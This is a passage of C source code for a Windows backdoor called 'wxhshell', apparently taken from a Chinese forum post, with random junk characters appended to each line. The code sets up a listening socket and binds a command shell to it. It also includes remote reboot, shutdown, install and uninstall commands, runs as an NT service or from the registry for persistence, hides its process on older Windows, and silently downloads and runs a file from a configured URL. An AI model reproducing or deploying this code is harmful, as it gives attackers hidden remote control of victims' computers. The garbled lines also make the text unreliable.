n4XEyCrD  
    switch(cmd[0]) { hMCf| e.UY  
  #W$6[#7=I  
  // 帮助 d+45Y,|  
  case '?': { ,#Pp_f<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )7c/i+FsC  
    break; 2CMWJi  
  } c1tM(]&  
  // 安装 (N"9C+S}  
  case 'i': { 953GmNZ7  
    if(Install()) HIGTo\]Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8u%rh[g'  
    else mUan(iJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .R^R32ln  
    break; Cl6P,C  
    } `y3*\l  
  // 卸载 }A}cq!I^  
  case 'r': { :>C D;  
    if(Uninstall()) *epK17i=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r\A|fiL  
    else ppuJC ' GW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y sDai<  
    break; %y)]Q|  
    }  sWyx_  
  // 显示 wxhshell 所在路径 F4NM q&_  
  case 'p': { 'QSj-  
    char svExeFile[MAX_PATH]; _U|rTil  
    strcpy(svExeFile,"\n\r"); Ddh  
      strcat(svExeFile,ExeFile); \J(kevX  
        send(wsh,svExeFile,strlen(svExeFile),0); %MCJ%Ph  
    break; &8;Fi2}(L  
    } / z m+  
  // 重启 w-];!;%  
  case 'b': { !_q=r[D\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HQZJK82  
    if(Boot(REBOOT)) wZ5k|5KtW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HCKocL/]h  
    else { _BEDQb{"|  
    closesocket(wsh); x.9[c m-!  
    ExitThread(0); yxtfyf|9 '  
    } I!"/I8Y  
    break; !eHQe7_  
    } }0Q T5   
  // 关机 |J"\~%8  
  case 'd': { *5u3d`bW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /hur6yI8  
    if(Boot(SHUTDOWN)) }ssP%c]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W K(GR\@  
    else { 00LL&ot  
    closesocket(wsh); tUksIUYD\  
    ExitThread(0); Cp?6vu|RA  
    } "#:h#uRUb  
    break; ]n! oa  
    } u+9)B 6O1  
  // 获取shell aECpe'!m4  
  case 's': { $0cE iq?Hf  
    CmdShell(wsh); e= XC$Jv  
    closesocket(wsh); $azK M,<q  
    ExitThread(0); [{0/'+;9  
    break; '=H3Y_{oO  
  } %J+ w9Z  
  // 退出 F0wW3+G  
  case 'x': { 9!PM1<p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "yK)9F[9Mo  
    CloseIt(wsh); I^)_rOgM  
    break; Rzyaicj^c  
    } .NJ Ne  
  // 离开 cSBS38>  
  case 'q': { nf-6[dg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y>{%,d#s_  
    closesocket(wsh); F=?GV\Tw  
    WSACleanup(); "!Nu A  
    exit(1); _&N:%;9uD  
    break; *Z+U}QhHD6  
        } 2q UX"a4  
  } u/CR7Y  
  } T2A74>Nw  
8 .&P4u i  
  // 提示信息 /!_FE+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =eR#]d  
} .zy2_3:  
  } /uPMzl  
/eBcPu"[Vb  
  return; aI;fNy /K  
} |RBL5,t^  
#sv:)p  
// shell模块句柄 J[UTn'M8]  
int CmdShell(SOCKET sock) #^_7i)=~  
{ F ~e}=Nb  
STARTUPINFO si; *l@T 9L[M'  
ZeroMemory(&si,sizeof(si)); Odm1;\=Eg+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @.=2*e.z|b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VrKLEN\  
PROCESS_INFORMATION ProcessInfo; W6)XMl}n  
char cmdline[]="cmd"; x&N@R?AG1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m;sYg  
  return 0; P@<K&S+f  
} .G}$jO}  
@7sHFwtar?  
// 自身启动模式 ,D.@6 bJW  
int StartFromService(void) 2h) *  
{ OTEx9  
typedef struct 3!Mb<W.3  
{ - v=ndJ.  
  DWORD ExitStatus; 1`1Jn*|TI  
  DWORD PebBaseAddress; lrgvY>E0  
  DWORD AffinityMask; /GA-1cS_(  
  DWORD BasePriority; 5r0Sl89J  
  ULONG UniqueProcessId;  "2 }n(8  
  ULONG InheritedFromUniqueProcessId; Q@s G6 iz  
}   PROCESS_BASIC_INFORMATION; {\ VmNnw  
/AIFgsaY  
PROCNTQSIP NtQueryInformationProcess; ; X/'ujg  
:FixLr!q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m~@Lt~LZs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G&yF9s)Lvs  
^J@ Xsl  
  HANDLE             hProcess; ;?gR,AKZ  
  PROCESS_BASIC_INFORMATION pbi; +p-S36K~,7  
yg%T{hyzH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (OG>=h8?  
  if(NULL == hInst ) return 0; CelM~W$=u  
5(DnE?}vo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rD>q/,X=\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _z3^.QP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [5]* Be  
Ct0%3]<J  
  if (!NtQueryInformationProcess) return 0; G)=+Nt\ *  
^56#{~%^?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?o d*"M  
  if(!hProcess) return 0; 1! R:}r3t  
QjsN7h&%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pS!N<;OWr  
b~+\\,q}  
  CloseHandle(hProcess); 2!a~YT  
([hd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |H8UT S X+  
if(hProcess==NULL) return 0; qjRp5  
Z-i$KF  
HMODULE hMod; 0[s<!k9=  
char procName[255]; D|8h^*Ya  
unsigned long cbNeeded; cV* 0+5  
:5zO!~\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C 2?p>S/q  
h-@_.&P0e  
  CloseHandle(hProcess); a{iG0T.{Yh  
c+u) C%g  
if(strstr(procName,"services")) return 1; // 以服务启动 L_AQS9a^D  
y|%lw%cSe  
  return 0; // 注册表启动 5dLb`G f  
} lW@i,1  
HTP~5J  
// 主模块 vFGVz  
int StartWxhshell(LPSTR lpCmdLine) ,) }-mu  
{ iu'rc/=V  
  SOCKET wsl; 3]/Y= A  
BOOL val=TRUE; -axmfE?g0  
  int port=0; SA6.g2pFz  
  struct sockaddr_in door; j"<F?k@`Q  
[u8JqX  
  if(wscfg.ws_autoins) Install(); V[">SiOg  
LMYO>]dg  
port=atoi(lpCmdLine); -GL-&^3IjH  
f>+:UGmP  
if(port<=0) port=wscfg.ws_port; oz?6$oE(bt  
M+\LH  
  WSADATA data; ;Z#DB$o\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cK2Us+h  
S]DYEL$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "cX*GTNi8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SZC1$..2T  
  door.sin_family = AF_INET; 5,?Au  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @33-UP9o  
  door.sin_port = htons(port); Ks^EGy+O:-  
d#nKTqSg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <k2]GI-}h  
closesocket(wsl); nL* SNQ_  
return 1; ,m.IhnCV\  
} RkBbu4uQ-  
:WdiH)Zv  
  if(listen(wsl,2) == INVALID_SOCKET) { " ZFK-jn/  
closesocket(wsl); MXuiQ;./  
return 1; ESv&x6H  
} 9@z"~H  
  Wxhshell(wsl); 8Vqh1<  
  WSACleanup(); KfLp cV  
WUqfY?5  
return 0; J9/}ZD^  
u:&Lf  
} G |vG5$Nf  
97(*-e=e  
// 以NT服务方式启动 9p<ZSh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T=->~@5  
{ FG5t\!dt<  
DWORD   status = 0; )3~):+  
  DWORD   specificError = 0xfffffff; [?Q$b5j/M  
+0WI;M4i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s:#\U!>0`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /CN`U7:E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [P746b_\e  
  serviceStatus.dwWin32ExitCode     = 0; )k|_ CW~  
  serviceStatus.dwServiceSpecificExitCode = 0; n6 a=(T  
  serviceStatus.dwCheckPoint       = 0; / L/hR4  
  serviceStatus.dwWaitHint       = 0; /0qLMlL$  
B@2VI 1%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >~k"C,6  
  if (hServiceStatusHandle==0) return; YV>]c9!q  
V3$Yr"rZ;  
status = GetLastError(); IPT\d^|f  
  if (status!=NO_ERROR) .`K<Iug1  
{ IXef}%1N?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {z/Y~rf  
    serviceStatus.dwCheckPoint       = 0; 'rQ>Z A_8  
    serviceStatus.dwWaitHint       = 0; ')>&:~  
    serviceStatus.dwWin32ExitCode     = status; %2D9]L2Up  
    serviceStatus.dwServiceSpecificExitCode = specificError; ULkhTB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u DpCW}  
    return; \4OX]{  
  } y6nPs6kR  
ix]t>2r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .d>TU bR;  
  serviceStatus.dwCheckPoint       = 0; wR=WS',  
  serviceStatus.dwWaitHint       = 0; 11(:#4Y,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %^$7z,>;  
} %0!!998  
td#B$$[  
// 处理NT服务事件,比如:启动、停止 S @ MO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cRhu]fv()  
{ &%Lps_+fJ  
switch(fdwControl) Akbt%&  
{ Ma,2_oq+  
case SERVICE_CONTROL_STOP: ]V K%6PQ0  
  serviceStatus.dwWin32ExitCode = 0; .`3O4]N[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ==\Qj{ 7`  
  serviceStatus.dwCheckPoint   = 0; e$3{URg  
  serviceStatus.dwWaitHint     = 0; ?@i_\<A2  
  { ]FNqNZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sox0:9Oqnf  
  } $Dm2>:Dmt  
  return; j!:^+F/  
case SERVICE_CONTROL_PAUSE: &6`h%;a/&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 58@YWv Ak  
  break; EBX+fzjQo  
case SERVICE_CONTROL_CONTINUE: fGtUr _D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZYy?JDAO  
  break; |aovZ/b4  
case SERVICE_CONTROL_INTERROGATE: :Ej#qYi  
  break; W5^m[,GU'  
}; rVE!mi]%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pn*+g!`  
} ROyG+dUy  
V_T.#"C4=z  
// 标准应用程序主函数 n@)Kf A)&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zMf .  
{ ,33[/j  
L:ox$RU  
// 获取操作系统版本 $6ev K~  
OsIsNt=GetOsVer(); M(a lc9tn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1sqBBd"=PY  
0 xUw}T6  
  // 从命令行安装 O#g'4 S  
  if(strpbrk(lpCmdLine,"iI")) Install();  TM1isZ  
msyC."j0jU  
  // 下载执行文件 qBKRm0<W  
if(wscfg.ws_downexe) { 1'[RrJ$Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  0#AS>K5  
  WinExec(wscfg.ws_filenam,SW_HIDE); F?wfh7q  
} ]{Ytf'bG  
4Y)rgLFj  
if(!OsIsNt) { *,:>EcDr  
// 如果时win9x,隐藏进程并且设置为注册表启动 q*|H*sS  
HideProc(); Sd !!1a s  
StartWxhshell(lpCmdLine); XvU^DEfW  
} PtUea  
else `*J;4Ju@  
  if(StartFromService()) \<}4D\qz  
  // 以服务方式启动 8T7E.guYr  
  StartServiceCtrlDispatcher(DispatchTable); wE.CZ% f  
else _R,VNk  
  // 普通方式启动 Pd<s#  
  StartWxhshell(lpCmdLine); &p)]Cl/`  
BB?vc( d  
return 0; *ydkx\pT  
}
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只看该作者 1 发表于: 2006-10-10
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